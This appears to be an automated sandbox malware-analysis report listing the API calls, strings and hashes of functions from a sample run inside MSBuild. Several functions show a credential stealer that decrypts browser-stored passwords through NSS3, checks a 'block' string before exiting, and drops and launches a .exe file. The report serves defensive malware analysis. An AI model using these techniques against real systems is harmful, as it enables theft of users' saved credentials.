String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: c5fd6f3343b81d1294bb7f4a6450edb43d50308703f63b6a9e7bb9de79b14241
Instruction ID: 68e810ddc7a7fa562e71fb067a8bdfd7c63e329354d079e2ed9b136332dc6bf5
Opcode Fuzzy Hash: c5fd6f3343b81d1294bb7f4a6450edb43d50308703f63b6a9e7bb9de79b14241
Instruction Fuzzy Hash: 6481DE74B122709BEF009F68CC54B6937B8EB47708F51252AE905DBB80EBB59805CBD9

Function 0040C990 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C9A5

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,01355F80,00000000,?,0042144C,00000000,?,?), ref: 0040CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,01355DE8,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,01355E30), ref: 0040CB1E
StrStrA.SHLWAPI(?,01355C20,00000000,?,00421458,00000000,?,00000000,00000000,?,01355070,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,01355920), ref: 0040CCB9

Part of subcall function 0040C820: memset.MSVCRT ref: 0040C853
Part of subcall function 0040C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,01354F10), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
Part of subcall function 0040C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
Part of subcall function 0040C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
Part of subcall function 0040C820: memcpy.MSVCRT(?,?,?), ref: 0040C912
Part of subcall function 0040C820: PK11_FreeSlot.NSS3(?), ref: 0040C961

StrStrA.SHLWAPI(?,01355920,00000000,?,0042145C,00000000,?,00000000,01354F10), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,01354F70), ref: 0040CD71

Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

lstrlenA.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C
NSS_Shutdown.NSS3 ref: 0040CEAA

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 2503097572-3916222277
Opcode ID: 506ee09c71326fac3e7cc04b7e92ca4b2dc02a0ed577630804e8f97fca29bf17
Instruction ID: fb2464dfdb87d028b9341c66972094ccea7bc9213c5b9a6eafc00a4a54def107
Opcode Fuzzy Hash: 506ee09c71326fac3e7cc04b7e92ca4b2dc02a0ed577630804e8f97fca29bf17
Instruction Fuzzy Hash: 2FE13E71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 6C517FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C518007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C51801D

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C51802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C51803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C51808D

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C51809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5180B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5180DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5180ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5180FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C518133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C518149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C518167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C51817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C518199

Strings

0>Tl, xrefs: 6C51811E

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Tl
API String ID: 2721933968-1699305988
Opcode ID: d62448157873604b93d9a70c1c1616d77194e76bf32846e83cde4ddf00897a27
Instruction ID: f9ebd18539729d3bd44c1420c73b04df6291e693e4218513db2b85c5a6cc3438
Opcode Fuzzy Hash: d62448157873604b93d9a70c1c1616d77194e76bf32846e83cde4ddf00897a27
Instruction Fuzzy Hash: A751A6B2E041149BEF10DFA5DC84AEFB7B9EF89224F650525E815E7741E730AD04CBA2

Function 6C515E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515E9D

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

GetCurrentThreadId.KERNEL32 ref: 6C515EAB
GetCurrentThreadId.KERNEL32 ref: 6C515EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C516017

Part of subcall function 6C504310: moz_xmalloc.MOZGLUE(00000010,?,6C5042D2), ref: 6C50436A
Part of subcall function 6C504310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5042D2), ref: 6C504387

moz_xmalloc.MOZGLUE(00000004), ref: 6C515F47
GetCurrentProcess.KERNEL32 ref: 6C515F53
GetCurrentThread.KERNEL32 ref: 6C515F5C
GetCurrentProcess.KERNEL32 ref: 6C515F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C515F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C515F27

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C515E8C

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C51605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C5160CC

Strings

GeckoMain, xrefs: 6C515ECE, 6C516015

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 456510f83b4bf4a85bbcf629a2242d1efa8d8c28b3858027918684ca7646342a
Instruction ID: f4892c994d446ebdd6115ede89e48d2db955cd61d399df86b9572e39598b5d50
Opcode Fuzzy Hash: 456510f83b4bf4a85bbcf629a2242d1efa8d8c28b3858027918684ca7646342a
Instruction Fuzzy Hash: 7F71A2B0609740DFD710DF24C884A6ABBF0FF9A304F54596EE48687B52D731E948CB92

Function 6C519590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5031C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C503217
Part of subcall function 6C5031C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C503236
Part of subcall function 6C5031C0: FreeLibrary.KERNEL32 ref: 6C50324B
Part of subcall function 6C5031C0: __Init_thread_footer.LIBCMT ref: 6C503260
Part of subcall function 6C5031C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C50327F
Part of subcall function 6C5031C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50328E
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5032AB
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5032D1
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5032E5
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5032F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C519675
__Init_thread_footer.LIBCMT ref: 6C519697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C519707
__Init_thread_footer.LIBCMT ref: 6C51971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5197B7
FreeLibrary.KERNEL32 ref: 6C5197D0
FreeLibrary.KERNEL32 ref: 6C5197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519824

Strings

ntdll.dll, xrefs: 6C5196E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C519670
NtMapViewOfSection, xrefs: 6C519701
MapViewOfFileNuma2, xrefs: 6C5197B1

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: e2030e4678fcb359fa76d18676c240627f9070bd441b3c3c13bab9bab405a7cb
Instruction ID: 0a6d99f0cffac3c46418b224df9d9f1dbc0c634cba9eadd276db7c2f87c77c9b
Opcode Fuzzy Hash: e2030e4678fcb359fa76d18676c240627f9070bd441b3c3c13bab9bab405a7cb
Instruction Fuzzy Hash: 5D61C271606221DFEF00EFA4DC88A9A7BB4EF8F314F125619E916D7B80D7309854CBA5

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1
strtok_s.MSVCRT ref: 004117E8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01349A00,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004196C0: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00410B85,?,00000000,?,00000000,004205C6,004205C5), ref: 004196E1

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 1395395982-4119554291
Opcode ID: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 6C566660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C58F618), ref: 6C566694
GetThreadId.KERNEL32(?), ref: 6C5666B1
GetCurrentThreadId.KERNEL32 ref: 6C5666B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5666E1
EnterCriticalSection.KERNEL32(6C58F618), ref: 6C566734
GetCurrentProcess.KERNEL32 ref: 6C56673A
LeaveCriticalSection.KERNEL32(6C58F618), ref: 6C56676C
GetCurrentThread.KERNEL32 ref: 6C5667FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C566868
RtlCaptureContext.NTDLL ref: 6C56687F

Strings

WalkStack64, xrefs: 6C566890

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4b8432ca33a7dde3f67bd6fe8bfeb0a7a42cdb0227a7dcaa0f689732f039025f
Instruction ID: 08b590230b7a74c24f8985a3738719aeab2af6ec72e42876863cd967fae20215
Opcode Fuzzy Hash: 4b8432ca33a7dde3f67bd6fe8bfeb0a7a42cdb0227a7dcaa0f689732f039025f
Instruction Fuzzy Hash: 6051DC71A0A311AFDB10DF26CC44B5ABBF4BF8A714F00492DF59897A50DB70E908CB92

Function 6C54DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54DE73
GetCurrentThreadId.KERNEL32 ref: 6C54DF7D
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54DF8A
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54DFC9
GetCurrentThreadId.KERNEL32 ref: 6C54DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C514A68), ref: 6C54DE7B

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C514A68), ref: 6C54DEB8
free.MOZGLUE(00000000,?,6C514A68), ref: 6C54DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C54DF38

Strings

<none>, xrefs: 6C54DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C54DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C54E00E

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 564bfd5540452b5c7e7deaf193d2d3bdf846957bf93244ae56ea361fad063595
